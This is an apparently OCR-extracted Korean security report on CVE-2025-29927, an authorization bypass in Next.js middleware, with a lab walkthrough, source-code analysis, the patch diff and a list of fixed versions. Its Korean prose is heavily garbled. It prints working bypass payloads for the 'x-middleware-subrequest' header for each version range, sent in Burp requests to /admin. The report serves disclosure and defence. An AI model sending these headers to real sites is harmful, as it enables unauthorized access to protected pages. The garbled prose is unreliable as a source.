Research & Technique

Next.js middleware 3| ¥4 (CVE-2025-29927)

HAME

Nextjs = AH AO|= BEZ(SSR)' 2t HH & mo|X|] H&(SSG)? & XI&sH= Node.js 7|He| 2E
an @ o3t ® MANCE de| MERl= XHIAIEE =2t0|E2{2[Ql React £ 34 EA0IAM
HESh= SNl T SHLtE Nextjs & 2705t UL

OSINT &M ATIS Sl 2AE{Llol| S7HE Nextjs AFE dgsE ZAret 23,2025 48 1 7
HAOL =Y S 2 =7t & 4422 I AO|EO|AM Next.js 7t AFBE|L U= ALZ ZQI=[RUCt.

[
AOf
T L

Z£X: npmjs.com

12l 1, Next.js AF2 7

' M AfO|E Y (Server Side Rendering): AH{0IlA 2E H|O[EIS X450 S2I0|UER M&, Z2I0|AE= e CI0IEE sfAsh
YAO|EE HA|SH= ¢ EAI iy

2 ®x ¢ Ho|X] M4 (Static Site Generation): HO[X] HTML £ O|2| YE Elol| M4stof 2t @NOICH MAESH= LY

EQST insight | 1



20253 3 & 21 &, Nextjs 2 middleware® 22| #<24H(CVE-2025-29927)0| S7HLCt. O] FLHS
Ed 8|6 S 0l83 middleware 7t 0|0] AHHMEIU=X] HREE =QlI5H= Nextjs o LHE Z2EZ
otgoto2N WMsICt SAXE o g2 ZEEH middleware £ 3™ £ UYCH, T Hkt

middleware £ o FHE UAS EL, 0| 2 I‘H HlStEl 111|0|XI01| HZ20| 7hs3ICh Nextjs =
YIS ABEl= B IRl HF, HE FAHEH =EE0 A=K BHEA| FHHOF St

B 33 ALE|R

m
JE

@ FH e HEL Nextjs MH &

(@ CVE-2025-29927 @ AFEX B Hoj R B2

@ MEX YUY 2 K RE

a3 2. CVE-2025-29927 2 ALi2|R

@ BATE 3OSt BIHS| NextjsE ALSSHE MHHE 24
® 0|3 CVE-2025-29927 oFg 083101 oI5 23| Alx

® oI5 Lslof Mas ZARHE TsiRtel ALRR 22| HOIX|d] H2

® Atgxt 22l Holxlo| M2 BZRE chel HoIERE FauHslel oRe 8
W FEub= ATEQ0 HH

CVE-2025-29927 0| #F|efot AT EQ|{ HM™2 Ct3at 2Lt
o \is230
v14.2.25 Ot
Next.js v13.5.9 02
v12.3.5 OJ2t
v11 BT FA|

3 olS9lof (middleware): &7 SE FII0lA S0i2= QX0 E2sy| Holl M2jstn SEo| M| Mol H2lsts Hd
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HAE 2tdS F&510 CVE-2025-29927 2| & WEE Am{ELCt.

0|E sl
Next.js v15.1.7
|sHxt
(192.168.0.3)
Kali Linux
SAx

(192.168.216.133)

B 3oHd HAE
Step 1. &4 74
Ok} PC Ol Nextjs v15.1.7 &2S HX[5t, F[AH oIS fIet HAE =232 LI XhMlet 7o
HH2 of2ll GitHub KA 2ol 7HsS3ICt.
« URL: https://github.com/EQSTLab/CVE-2025-29927

# GitHub XMZ&A ZE

git clone https://github.com/EQSTLab/CVE-2025-29927

# Clg=2) ojs = T3 ojojx] L= ol MY
cd next15

docker build -t nextjs .

docker run -p 3000:3000 --rm -it nextjs

a 192.168.0.3:3000

<« c 2 Notsecure

I\E x T Jg Bypass vulnerability

. Exploit by injecting Header: x-middle-subrequest .

. Send request and and try accessing the admin page.
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Step 2. #24H HAE
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SIS A= QUL
= 4 192.168.0.3:3000/admin x  +

C @ O D 192.168.0.3 ® ® 9

Kali Linux # Kali Tools ¢ Kali Docs KaliForums ¢ Kali NetHunter Exploit-DB Google Hacking DB OffSec

2l 4. /admin HIEXOIE 3 KjCt

SEX|2F, CHEa 22 HEHE 2F0 =715HH middleware 215 EX(7F 2| EC,.

x-middleware-subrequest: middleware: middleware: middleware: middleware: middleware

Of &H7t ZetEl RES TESHH

H20| FHSBHTIC.

, middleware 7} 0|0] A=l Zi0Z HM2Z|Z|0{ /admin A=EIEQ

m @ Target: http://192.168.0.3:3000 /¥  HTTPA
1] E |
Request
Raw Hex =

1 GET Jfadmin HTTP/1.1
2 Host: 192.168,0.3:3000

3 User-Agent: Mozilla/S5.0 (¥11: Linux x86& &4) AppleWebKit/537.35 (KHTML, like Gecko)
Chrome/134.0.0.0 Safari/537.36

Alx-middleware-subrequest: middleware:middleware:middleware:middleware : middleware|

@ {é} Py N cearch o 0 highlights
Response

Pretty Raw Hex Render

EQST Admin Dashboard

& Welcome to the EQST admin panel.

rdl

a2l 5 middleware 215 23|

Jiok
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HorE AN EMolME CVE-2025-29027 #IobEel w4 RI2|RE oIF 23 IEMX wAXoR

HAFSIC. Step 10|lM= Nextjs 2 middleware 7iigzt HHE EZS AJNetCt Step 2 WA= 2 HZES
middleware TR0 LIEH Fof X|F1}, O|F &ESt 21T R3] 7|Hs HFelrt

Step 1. Next.js middleware
1) Next.js middleware 2| E%
Middleware = 2¥-8& F7|0M 22t0|A Eo| 2730

| OHE=2|AH|0[d0| E=Fot7| Hof| A== S
AELZ, SHO| MEE7| Hol FIHHQl NS =38 ==

UL
Nextjs OlMe O] 7|58 Sd 28 ™ AF, 01|E‘| e, 2O S8 #eg = A2M, mid-
dleware.ts == middleware.js IS Sl E-QIE._“:f. Middleware IS T=HE x| 4| C|AEZ|0]
app, pages 02t Lizts| @IX|SHALE, sre CIAEZ| Lol ZatE &~ QUCH
T AE 04 1 Y E 04 2 T Z oA 3
-viz2 ©® oiy fx -v122 0|F OY 7= -v12.2 0| oty A=

‘ ; L
- = =

app (app router, vi3 0l F=7h

_middleware.ts index.tsx t

app (app router. vi3 OlA &=7h

pages
index.tsx L .
B public middleware.ts

dashboard E
public

_middleware.ts middleware.ts

a2l 6. I XM middleware 2|X| Of|A|

2) Next.js HHE Middleware E%
Nextjs = v12.2 £E middleware & ¥I2[0|=5t1 IHX|5t0{, O|=F middleware AIE A0 EL3t
HSH7F UACE.
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(1) v12.2 O]9 HA

Nextjs v12.2 Ol HHEO|ME Z2E CIAEZ|HA middleware & Holg £
QH0| S0{2H A9l ClUER|HE 2| ClAEE| 292 middleware £ Xl2|2 AldH
OlE =01, /pages CIHEZ|0| middleware 7} HOlE|0f J2H, 1 index.tsx 2t about.tsx, teams.tsx
HA| 80| siet middleware 7t MEEICt
- package.json

- [pages
L middlesware.ts # Will run on all routes under /pages

2

Ch. o] He Mp=
strt.

=
rot

L index.tsx
L about.tsx
L teams.tsx

12! 7. /[pages CIAEZ| L] _middleware It

= o
I: 7Od_l_

ISt /pages, /pages/about, /pages/about/teams 2t CIZIEZ|0| middleware 7t H2|=|0f

4

0| So{2® Cl2Ee|o| Az X0 ufet M9IRE 59| 2AE middieware 7 MBI},

- package.json

- [pages
L middleware.ts # will run first
L index.tsx
L Jabout
L middleware.ts # will run second
L about.tsx
L fteams
L middleware.ts # will run third

L tTeams.tsx
a2l 8. SHEl _middleware OFY AlsH 2A]
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(2) v12.2 O] HXH

Next.js v12.2 BEE{= middleware DILEOA  O|A underscore(l)E AMESHK| 9o, md
middleware.ts == middleware.js £ HAZIRUCt, Eot CIAEZ|EZ middleware £ 8 Host
gAlo| X|AEX| @, TEME FEL} pages CIHMEZ|Q HH £x0| T 5HLte| middleware THY

2 UCH

O|M3 C|HEZ| tHe|9] middleware 80| 27tsSsHX|HA, EX Z=20]| CHs middleware
matcher HX™Z 2EdljoF SiCl O =01, /admin 22 A|&SH= HZ0| middleware
Of2Het 20| matcher Ol slieh THEHS X|HsHOF ST},

mO
2

oo olo
OF O
TG
g rg mn rirorio

M
oA

1 import { NextResponse } from 'next/server’

2 import type { NextRequest } from 'next/server'

3

4  export function middleware(request: NextRequest) {

5 return NextResponse.rewrite(new URL('/about-2', request.url))
6 }

2

8 // Supports both a single string value or an array of matchers
9  export const config = {

10 [matcher: ['/about/:path', '/dashboard/:path'],]

11 ]

12l 9. matcher 43 0jjA] =

L= Of2fet #0| middleware LHF0| ZHES ZHddl, 2 F=0 U2t Sis 2718 = UCh 0
MIALS matcher METIOZE FOf8l7| Of2{e Exre £710| TR A0 S8t HBELL,

1 impert { NextResponse } from 'next/server'

2 import type { MextRequest } from 'next/server'

3

4 export function middleware(request: MNextRequest) {

5 [if (request.nexturl.pathname.startswith('/about"))| {

6 return NextResponse.rewrite(new URL('/about-2', request.url))

7 h

8

9 [if (request.nextUrl.pathname.startsWith('/dashboard"))| {

10 return NextResponse.rewrite(new URL('/dashbecard/user’, request.url))

11 1

12 )

gl 10. =A 27| oA 2E
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Step 2. Next.js middleware Q1F 73 I HHH 23| qity

1) middleware & 8%t 215 31¥

Nextjs OlM HZst= Q15 TH HAl Z0j= middleware £ E238= T ZoiE|of QUCL K2 S0,
OfZfi= AMRXF At w2t EX ZZ=Z 2IClo2lMst= FE9| Ao H

&7|Lt, H3t 5 Ao w2t M2 Hojsts 59| #E M7t et M=o R83HA AFEEIC

=1
1 import { MextRequest, NextResponse } from 'nexi/server’
2
3 // Protected and Public Routes
4 const = ['/dashboard']
5 const = ['/login', '/signup', "/']
6
7 export default async function middleware( : NextRequest) {
8 /{ Some authentication logic
a return NextResponse.next()
18 r
11
12 // Routes Middleware should not run on
13 export const config = {
14 matcher: ['/(?!lapi|_next/static| next/image|.*\\.png8).*'],
1% r

e

33 11. middleware & E8%3t Next.js 215 713 0f|A|

middleware £ E3ff Q152 1¥st S QIF g0 /admin ASZAEN IS AZSHH ofzfet Zo|
LHO| Ktz =

< C ® [localhost:3000/admin| )% 5} AN @ :

pretty print &2 ()

"success" false, "message"! "authentication failed"}

12l 12. x-middleware-request A4S 11
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Nextjs & WEHOZE x-middleware-subrequest SIlCIE &3 sie Mol CHei middleware 7t
o0 AMHME|AE=X|S WCISCE 0] ZEI2 v12.01 7|F, /packages/next/server/next-server.ts It
LHOIA &felgt = Aot FE9| £ SE2 Ct3at 2Lt

638 const subreq = params.request.hsaders[ x-middleware-subrequest” ] o

631 const subrequests = typeof subreq === 'string' ? subreg.split(':') : []

632 const allHeaders = new Headers()

633 let result: FetchEventResult | null = null

634

656

651 |if (subreguests.includes{middlewarsInfo.nams)) |e

652 result = {

653 |response: NextResponse . next( |o

654 waitUntil: Promise.resoclve(

B55 i

656 continue

657 1

12l 13, x-middleware-request Z4Z 1A
® x-middleware-subrequest SIHE S MEE A4S colon(:) 7|ECE LR HIEE FAIC
® FHE H{E0| middlewarelnfo.name #H2| Zf0| U=X| SHQlsiCt,
S

® TreF slieh 20| =XHSICHH NextResponse.next() 4+E S8 middleware € FAISt, CHS X2
A2 g7t RS B Z=9| SEHE =Lt

olm, middlewarelnfo.name 2| Zt2 [packages/next/server/next-serverts It Li getMid-
dlewarelnfo &+E &4 2EEICE O] ez 2F F=0| tHE3h= middleware EE 7=

Aot S
StH, diet MEE HIEIOZ x-middleware-subrequest SIS ZAKSHH mid-dleware &3 &S

THERSHA| ECt.

698 const middlewareInfo =|ge:.‘-1idd1el.ler*eInFD( {
6949 dev: this.renderOpts.dev,

786 distDir: this.distDir,

7a1 page: middleware.page,

782 serverless: this. islikeServerless,

783 1)

a2l 14. getMiddlewarelnfo  E2{2= middlewarelnfo
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St

getMiddlewareinfo &4 [packages/next/server/require.ts ItA0| THE| U2l X|HE HZO
si=tét= middleware MEE ZHA| HEZ BHStSICL,
export function getMiddlewareInfo(params: {
dev?: boolean
distDir: string
page: string
serverless: boolean
11 { name: string; paths: string[] } {
const serverBuildPath = join(
params.distDir,
params.serverless &% !params.dev ? SERVERLESS_DIRECTORY : SERVER_DIRECTORY

L

no=

-] N

LT ]

L pa

=

const middlewareManifest: MiddlewareManifest = reguire(join(
serverBuildPath,
MIDDLEWARE_MANIFEST

i

LU T e R ¥ e ¥ v LY i L e T e [ ¥ Y o R v [ v« [ v« I v o B v R v ]
= @

= O

15. getMiddlewarelnfo Lf MIDDLEWARE_MANIFEST Z&

0] 222 Nextjs 7t LEE = MME[E= next CIFEZ| LHQ| .next/server/middleware-manifest.json
oS =5t middleware BEE 22{2Ct.

11 "middleware"

12 "

13 "env": [],

14 "wasm": [],

15 "files": [

16 "server/middleware-runtime.js",

17 "server/pages/_middleware.js"

18 1.

19 ["name”: "pages/_middlewarse”,|

28 "page": "/",

21 "regexp”: "~S(?! _next).Fg"

22 F

23 s

24 "version": 1

25 r

32! 16. middleware-manifest.json L middleware name EE

middleware-manifest.json LtC| name 7|= ZI middleware 2| 2[xX| ZZE LIEPAHCE oo 2t
middlewarelnfo.name 22 %ZX2Z pages/_middleware 7t L. O|= ClHE E=FE Solf A& =2l
w2 =eIMS moll SUSHA UEICEH

RUM AMD DEBUG

}

~ VARIABLES

~ Block: runMiddleware

~ middlewareInfo = {name: 'pages/_middleware', paths: Array(2), en Array (e asm: Array(@
> env = (@
| name = 'pages/ middleware’ |

a2l 17. CIHHE Eoff &2l middlewarelnfo.name 2| 2}
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=

%, x-middleware-subrequest &I 20| pages/_middleware 2 MHE|H gt @HE2 0[0] mid-
dleware £ E35t 40 Z Ma|=ICL 0|2 28 middleware 7t AME|X| ol LN FHEl 215 HX}

- o =
HA| 220 o= A0 F|oAFH0| LUsHA ECt.

m & Cance < v Target: http://localhost:3000 y HTTR/
nf=
Request
Raw Hex = n =

GET /fadwmin HITP/Ll.1

Host: localhost:3000

User-Agent: Mozilla/5.0 (Windows HNT 10.0; Wingd; x64) AppleWebKit/537.3& (FHTML, like Gecko) Chrome/134_0.0.0
Safari/537. 36

;|x—middlevare—subrequest: pages!_middleuarel

@ IEIE £ 0 highlights

Response

Pretty Raw Hex ender

EQST Admin Dashboard

,&W’elcome to the EQST admin panel

4

ol

[

tok

12! 18. middleware 2= I}H 3|

J

A Step 1 0| MEHMZ, v12.2 O] HHOA = CIHEZ|EE middleware E 708 Folg £+ UC

-
°

AL pages ZZ ofzfof] Ho|=l Z} middleware AZZ x-middleware-subrequest 8i|C Ziof| &245HH
F FHXE g £ ok 37 8 oAlel AR pages/about/_middleware E&=

pages/about/teams/_middleware € dl|H0| X|™5tH, i middleware € ?2|5t= 40| 7+SSICt.

3) v12.2 0|4 v14.2 OJ9t KA

x-middleware-subrequest Off CHgt 2Z2 HAL[X] QAU7| WZ0], o|Xut ORXZIX|Z s o
middleware ZEE AXSIH 2FS 22 £ ULCL v12.2 BE= middleware It HO| middleware.ts
middleware.js 2 HZAEJUD, {IX|T pages CIAEEZ| L{FE7} Ofd 1ot LIEGH A9 ZE2=

=3
EE|QUCt, o]0 w2t middleware AZE 7|Z9| pages/_middleware 7} Ot THa3| middleware 2

olet &2 HZA A2 .next/server/middleware-manifest.json DIUOIA ZQIEH 4 Qlom o] mAUS
£ middleware 2 ZZ7t pages/_middleware HiA| middleware 2 HAEZ Zig & £ ULCE

5 "middleware":

il "

7 "env": [],

8 "files": [

9 "server/edge-runtime-webpack.js",

18 "server/middlewars.js"

11 1,

12 ["name": “"middleware” |

13 "page": /",

32! 19. middleware-manifest.json L middleware name EE
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f12] Nextjs v12.2 ARt DREZEXIZ, CIHAHE Soif & ¢l US =lskH oig 2ol mid-
o

dleware IS &olgt & ULt

RUM AMD DEBUG [> | Mextjs: debug API (server-side) ~ £ ...
~ VARIABLES

~ Local: runMiddleware

| name = ‘middlewa re‘l

a2l 20. CIHHE Edl &lst middlewarelnfo.name 2| 2t

OFEE7ER| 2, x-middleware-subrequest SIE2| 2f2 middleware 2 HHSIH 015 HXE 222 o UL

m ) Cance <|v Target: http://localhost:3000 ﬁ HTTP/1

Y =]
Request

Pretty Raw  Hex & n =

1 GET /admin HTTRP/1.1

2 Host: localhost:3000

3 User—Agent: Mozilla/5.0 (Windows MT 10.0; Win64: x64) AppleWebl(it/537.36 (KHTML, |ike Gecko) Chrome/135.0.0.0
Safar1/537 .36

4|x-middleware-subrequest: middleware|

5

@ @ € ||| | search jol

@ highlights

Response

Pretty Raw Hex nder

EQST Admin Dashboard

&= Welcome to the EQST admin panel.

o

tol

[

tok

12 21. middleware 2= 1M 23|

J
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4) v14.2 0| HH

Nextjs v14.2 BEE{= middleware 2| x-middleware-subrequest sIH2Q| Zto ZgHel middleware
ZE7} colon()g 7|ECE YUH 3l oY HtEEM ST RMO0| middleware E 2[5t=E TLTL
HZAE|ALCY.

Ol= /packages/next/src/server/web/sandbox/sandbox.ts ZEE Edf &olg & ULt

96 const subreg = params.request.headers[ x-middleware-subregquast’ |
a7 const subrequests = typeof subreq === 'string’ ? subreg.split({':") : [] o
a8

99 const MAX_RECURSIOM_DEPTH = 5

182 const depth = subrequests.reduce(

181 {facc, curr) =» (curr === params.name ? acc + 1 : acc), e
182 B

183 )

184

185 if (depth »= MAX_RECURSION_DEPTH) {

186 return {

187 waitUntil: Promise.resolve(),

188 response: new runtime.context.Response(null, {

189 headers: {

11@ 'x-middleware-next': "1°, o
111 1,

112 1),

113 )

114 B

® x-middleware-subrequest SIHE Sol HHE 22 colon()) 7|E22 Liw|AM BIEE FotCt.
® FMEl H{EO| params.name 49| Zto| & J47} Q! )
® TFeF params.name M| 20| 58 Of& gH=0| EICHH middleware £ ZIHF11 NS EH F=9
o
=)

£HS HR=[},

=] [ g
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of7|M params.name 2 YA  AHFP  middleware.name I S o2,
O|= .next/server/middleware-manifest.json It} CIHAUS Eaff &l 4 Tt

3 "middleware”: {

4 "t

5 "files": [

6 "server/edge-runtime-webpack.js",
7 "server/middlewars.js"

8 1,

9 I“nawe”: "middlewars",

18 "page": "/",

11 "matchers™: [

12 {

13 "regexp”: "~SUFRY,

14 "originalSource”: "/:path*"
15 1

12l 23. middleware-manifest.json L middle

ware name MH

RUM AND DEBUG

~ WARIAELES

~ Local: runWithTaggedErrors

_params_request_body = undefined
_params_request_bodyl = undefined
~ params = {distDir: 'C:\\Users‘\hunpipel‘\\Desktop\\rnt_envi\cased\\.
distDir = 'C:\\Wsers\\hunpipel\\Desktopi\\rnt_envi\cased\\.next’
> edgeFunctionEntry = {name: ‘middleware’, paths: Arr Jasm:
[name = 'middlewars’]

[> | MNextjs: debug API (server-side) ~ 8 ..

NEXT , name:

a3 24. CHIHE Sl

gloIst params.name 2|

4
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2td, v14.2 0|F0= colon()& 7|Z2Z middleware ZZ7t 5 H

old gr=E[0{0F olEZ,

—
middleware:middleware:middleware:middleware:middleware 2t Z2 Zf2 x-middleware-
subrequest di|C{0f| 25HH middleware 52 g 4+ UL

m ) Cancel Target: http://localhost:3000 f HTTRA
=

Request

Prethy Raw Hex & no =

1 GET Jadmin HTTP/1.1

2 Host: localhost:3000

3 User—Agent: Wozilla/5.0 (Windows NT 10.0; Win64: x864) AppleWebl{it/537.36 (KHTML, like Geclo)

Chrome/135.0.0.0 Safari/537.36
4| x-middleware-subrequest: middleware:middleware:middleware:middleware:midd|eware|

®{§} & ||| | Search

Response

Pretty Raw Hex Render

EQST Admin Dashboard

&= Welcome to the EQST admin panel.

£ | 0 highlights

ol

[

tok

a2l 25 middleware 215 IHH 23]

J

5) HE'E middleware 23| payload

2 61 20[, middleware = src CIEEZ| Lo /X[ == UL} [ZHA, x-middleware-subrequest

s Ztoz e 4 QU= middleware 23| payload = HFEZ ofafet ZiCt.

= 23] payload G|A|
v12.2 Ojat pages/[SubDirectory]/_middleware = ages/[subdirectory]/_middleware

v12.2 0|4 v14.2 Ojat

middleware EE= src/middleware

v14.2 o[ &

middleware:middleware:middleware:middleware:middleware &=

src/middleware:src/middleware:src/middleware:src/middleware:src/middleware
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W LS diot

Next.js middleware Q&5 23| #[2FHQl CVE-2025-29927 2 F|kH HRLKIQ! zhero:2t inzo ol 2lsH
LAHCAUCH, 2025 'H 2 & 27 Lof| M2 AMIEAULCE
«URL:https://zhero-web-sec.github.io/research-and-things/nextjs-and-the-corrupt-
middleware#section-7

S FUFM2 20254 3 H 18 Yol IX|=[A2H, ofof CHet Hot M= 3E 21 ol SHE[UCE
«URL: https://github.com/vercel/next.js/security/advisories/GHSA-f82v-jwr5-mffw

v15.2.3 0 THX|E LHHS MTHEH o Hot =X|I7F FSiM=X| el 4~ k.

«URL: https://github.com/vercel/next.js/compare/v15.2.2...v15.2.3

M, packages/next/src/server/lib/router-server.ts Ol crypto.getRandomValues &+E ALESI0
8 HIO|EQ| 2HH Z+E MAMSICE 0| 0] 2 @next/middleware-subrequest-id o CH$H Ztoz HMH
Hat off K&t

(v : 9 HEEE packages/next/src/server/lib/router-server.ts |'_|.:|

. @@ -166,9 +166,16 @@ export async function initialize(opts: {

166 166 renderServer.instance =

167 167 require('./render-server’) as typeof import('./render-server')

168 168
169 + const randomBytes = new Uint8Array(8)
170 + crypto.getRandomValues(randomBytes)
171 + const middlewareSubrequestId = Buffer.from(randomBytes).toString( 'hex")
172 + ;(globalThis as any)[Symbol.for( @next/middleware-subrequest-id')] =
173 + middlewareSubrequestId
174 4

12l 26. packages/next/src/server/lib/router-server.ts 8 Afg

4 ™ol #Hx(global variable): g2| 2[R0lA MRAE HZ T2 W OJCIofALE H2E = U

rr

A
e
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0|=, packages/next/src/server/lib/server-ipc/utils.ts OflA] FHE ZHZ 1MHS  x-middleware-
subrequest dlE2} x-middleware-subrequest-id 8l|lCf 20| Z=XHst=X| 2RIk, x-middleware-
subrequest-id 3l Zf0| M MY H0| X{EE @next/middleware-subrequest-id 2t LX[S=X|
ZAFSICE BroF Zho| YX|StX| 4o™  x-middleware-subrequest SIS AtXsto] 0|2 288 £ QxS

= o
af=Ct.

v : 11 MEEEN packages/next/src/server/lib/server-ipc/utils.ts |'_|.:|
X @@ -57,5 +57,16 @@ export const filterInternalHeaders = (

57 57 if (INTERNAL_HEADERS.includes(header)) {

58 58 delete headers[header]

59 59 1
60 +
61 4+ // If this request didn't origin from this session we filter
62 4 // out the "x-middleware-subrequest” header so we don't skip
63 4 // middleware incorrectly
64 4 if (
65 4+ header === "x-middleware-subrequest’ &&
66+ headers[ 'x-middleware-subrequest-id"] !==
67 & (globalThis as any)[symbol.for('@next/middleware-subrequest-id")]
68 + ) A
69 & delete headers['x-middleware-subrequest’]
70 + }

2@ 27. packages/next/src/server/lib/server-ipc/utils.ts 8 Agt

02 4

.
o

AIR2Xt= LIENMOZ XEHE|= 8 HIO|E Lt Zt2 o

==l gleB=z  MH ZHo0|A= x-middleware-
subrequest SIICIE QtXSHA| &SI middleware LIE A

O{RE mhHg £ Q.

Foket HM A2 o= AATE L package.json OFE Edff &elgt 4 QUCH 15.2.3 0|2 14.2.25
0|2k 13.5.9 0|8 12.3.5 0|2k 11.x HFO| F[efet HTO|E=Z, siE HTZ AL FO[2tH IHX[E Sl x-
middleware-subrequest 7t SAXIO|AH| AEE|X| EE KIchoh= 20| ZRIICE.

T {
2 "name": "cased",

3 "version”: "@.1.8@",

a4 "private": true,

5 "scripts":

6 "dev”: "next dev”,

7 "build": "next build",
8 "start": "next start”,
9 "lint": "next lint"

16

11 "dependencies”: {

12 "peact”: "M19.8.87,
13 "react-dom”: "~10.8.8",
14}
15 1,

6 "devDependencies™: {

7 "typescript”: "~5",
13 "@types/node”: "~28",
19 "@types/react”: ""~18",
20 "@types/react-dom": "~19",
21 "postcss™: "78Y,
22 "tailwindcss™: "~3.4.1"
23 3
24 1

a2l 28. $|9¥st next.js HH A2 oA|
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|

oo

OtMTt HEO=ZQl X7t o AFol2tH
middleware-subrequest SIHE IZalot 25 AEXIC] RFO| Next.js OHZZ|AH|O|M0| E=EHTIX| ATE
Kctsh= 0| HEEHEISICE

EQST insight | 18



W 10 AO|E

- Wikipedia (Next.js) : https://en.wikipedia.org/wiki/Next.js

- Wikipedia (Static web page) : https://en.wikipedia.org/wiki/Static_web_page

- Wikipedia (Server-side rendering) : https://en.wikipedia.org/wiki/Server-side_scripting
- Project structure and organization (Next.js docs) : https://nextjs.org/docs/app/getting-
started/project-structure

- middleware (Next.js docs) : https://nextjs.org/docs/app/building-your-
application/routing/middleware

+ Next.js and the corrupt middleware: the authorizing artifact (zhero_web_security) :
https://zhero-web-sec.github.io/research-and-things/nextjs-and-the-corrupt-middleware
- Authorization Bypass in Next.js Middleware (GitHub Security Advisory) :
https://github.com/vercel/next.js/security/advisories/GHSA-f82v-jwr5-mffw
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